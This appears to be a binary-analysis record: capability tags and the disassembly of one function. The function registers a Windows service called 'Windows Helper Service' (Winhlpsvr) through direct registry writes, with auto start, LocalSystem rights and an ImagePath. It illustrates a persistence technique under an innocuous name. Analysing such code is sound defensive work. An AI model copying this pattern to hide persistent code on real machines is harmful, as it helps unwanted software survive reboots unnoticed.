Function at 0x180020740
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x18011a300]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov rdx, qword [str.SYSTEMCurrentControlSetServices.Winhlpsvr]
lea r8, [rsp + 0x38]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x38], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x180020b47
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x34]
lea rdx, [0x1800d8f4c]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x34], 0x110
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [0x1801340b0], 0
je 0x1800207ed
lea r9, str.InstallWinhlpsvr_1___lu_
lea r8, str.WatchDog
lea rcx, [0x180133ff8]
mov edx, 0xf
mov dword [rsp + 0x20], eax
call fcn.18001ab50
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x34]
lea rdx, [0x1800d8f0c]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x34], 2
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [0x1801340b0], 0
je 0x18002084e
lea r9, str.InstallWinhlpsvr_2___lu_
lea r8, str.WatchDog
lea rcx, [0x180133ff8]
mov edx, 0xf
mov dword [rsp + 0x20], eax
call fcn.18001ab50
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x34]
lea rdx, str.ErrorControl
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x34], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [0x1801340b0], 0
je 0x1800208af
lea r9, str.InstallWinhlpsvr_3___lu_
lea r8, str.WatchDog
lea rcx, [0x180133ff8]
mov edx, 0xf
mov dword [rsp + 0x20], eax
call fcn.18001ab50
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x50], 0
call fcn.180043ef0
lea rdx, str.Windows_Helper_Service
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x30], 0x104
call fcn.180043b88
mov r11d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], r11d
lea rdx, str.DisplayName
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [0x1801340b0], 0
je 0x18002093a
lea r9, str.InstallWinhlpsvr_4___lu_
lea r8, str.WatchDog
lea rcx, [0x180133ff8]
mov edx, 0xf
mov dword [rsp + 0x20], eax
call fcn.18001ab50
lea rdx, str..OcularServices
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x30], 0x104
call fcn.180043b88
mov r11d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], r11d
lea rdx, str.Group
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [0x1801340b0], 0
je 0x1800209ae
lea r9, str.InstallWinhlpsvr_5___lu_
lea r8, str.WatchDog
lea rcx, [0x180133ff8]
mov edx, 0xf
mov dword [rsp + 0x20], eax
call fcn.18001ab50
lea rdx, str.LocalSystem
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x30], 0x104
call fcn.180043b88
mov r11d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], r11d
lea rdx, str.ObjectName
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [0x1801340b0], 0
je 0x180020a22
lea r9, str.InstallWinhlpsvr_6___lu_
lea r8, str.WatchDog
lea rcx, [0x180133ff8]
mov edx, 0xf
mov dword [rsp + 0x20], eax
call fcn.18001ab50
lea rcx, [rbp + 0x61]
xor edx, edx
mov r8d, 0x103
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x30], 0x104
mov byte [rbp + 0x60], 0
call fcn.180043ef0
mov rcx, qword [rsp + 0x38]
lea r11, [rsp + 0x30]
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], r11
lea r9, [rsp + 0x40]
lea rdx, str.ImagePath
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [0x1801340b0], 0
je 0x180020aa9
lea rcx, [rbp + 0x60]
lea r9, str.InstallWinhlpsvr_7___lu____S__
lea r8, str.WatchDog
mov qword [rsp + 0x28], rcx
lea rcx, [0x180133ff8]
mov edx, 0xf
mov dword [rsp + 0x20], eax
call fcn.18001ab50
call fcn.180003900
lea r9, [0x1800d8288]
lea rdx, str.__s_s_
lea rcx, [rsp + 0x50]
mov r8, rax
call fcn.180043b88
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.1800453d8
test eax, eax
je 0x180020b3a
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
lea rdx, str.ImagePath
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x50]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [0x1801340b0], 0
je 0x180020b3a
lea r9, str.InstallWinhlpsvr_8___lu_
lea r8, str.WatchDog
lea rcx, [0x180133ff8]
mov edx, 0xf
mov dword [rsp + 0x20], eax
call fcn.18001ab50
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x180020b6f
cmp dword [0x1801340b0], 0
je 0x180020b6f
lea r9, str.CMonitorThread::CheckService_8
lea r8, str.WatchDog
lea rcx, [0x180133ff8]
mov edx, 0xf
call fcn.18001ab50
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.180043ec0
add rsp, 0x280
pop rbp
ret